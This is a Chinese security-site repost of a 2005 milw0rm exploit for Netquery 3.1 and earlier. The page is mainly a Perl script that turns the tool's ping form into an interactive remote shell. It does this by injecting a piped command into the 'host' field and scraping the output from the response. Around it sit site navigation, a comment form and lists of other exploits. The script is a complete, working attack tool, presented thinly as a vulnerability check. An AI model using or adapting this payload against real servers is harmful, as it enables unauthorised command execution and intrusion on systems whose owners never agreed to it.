首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Netquery Command Execution
来源:http://www.milw0rm.com/id.php?id=1117 作者:milw0rm 发布时间:2005-07-27  

Netquery Command Execution (Exploit)

Summary
"Netquery - the complete PHP/SQL open-source toolkit of network information utilities"

A vulnerability discovered in Netquery allows remote attackers to cause the program to execute arbitrary code, the following exploit code can be used to determine whether your system is vulnerable or not.

Credit:
The original article can be found at: http://www.milw0rm.com/id.php?id=1117

Details
Vulnerable Systems:
* Netquery versions 3.1 and prior

Exploit:
#!/usr/bin/perl -w

use strict;
use LWP;

my $browser = new LWP::UserAgent;
$browser->agent("Mozilla/4.0(compatible;MSIE 6.0;Windows NT 5.0)");

if (@ARGV < 1) {
print "\nusage: ./nq.pl http://path/to/form\n\n";
exit(1);
}

my $url = $ARGV[0];
my $command;

while (1) {
print "> ";
while(<STDIN>) {
$command = $_;
chomp($command);
last;
}
&send($command);
}

sub send {
my $ok = 0;
my $output;
my @d;
my $response = $browser->post($url,
[ 'op' => 'modload',
'name' => 'Netquery',
'file' => 'pnuser',
'querytype' => 'ping',
'host' => '| echo _start_; ' . $command . '; echo _end_;',
'maxp' => '4',
]);

die "$url could not be reached" unless $response->is_success;
if ($response->content =~ /<blockquote>_start_(.*)/) {
$output = $1;
$output =~ s/<br \/>/ \n /g;
$output =~ s/<br>/ \n /g;
@d = split /_end_/, $output;
print "\n $d[0]\n";
}
elsif ($response->content =~ /_start_(.*)/) {
$output = $1;
$output =~ s/<br \/>/ \n /g;
$output =~ s/<br>/ \n /g;
@d = split /_end_/, $output;
print "\n $d[0]\n";
}
elsif ($response->content =~ /<blockquote>(.*)/) {
$output = $1;
$output =~ s/<br \/>/ \n /g;
$output =~ s/<br>/ \n /g;
@d = split /<\/blockquote>/, $output;
print "\n $d[0]\n";
}
else {
print "Not working for some reason\n";
}
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Stealth Background Process
·SlimFTPd RNFR Buffer Overflow
·SlimFTPd <= 3.16 LIST Comma
·FTPshell Server DoS
·phpSlash Account Hijacking
·FtpLocate Command Execution
·OpenBB CID SQL Injection
·SQL Injection in Product Cart
·GNU Mailutils imap4d Format St
·@Mail multiple variable cross-
·Windows Netman Service Local D
·CA BrightStor ARCserve Backup
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved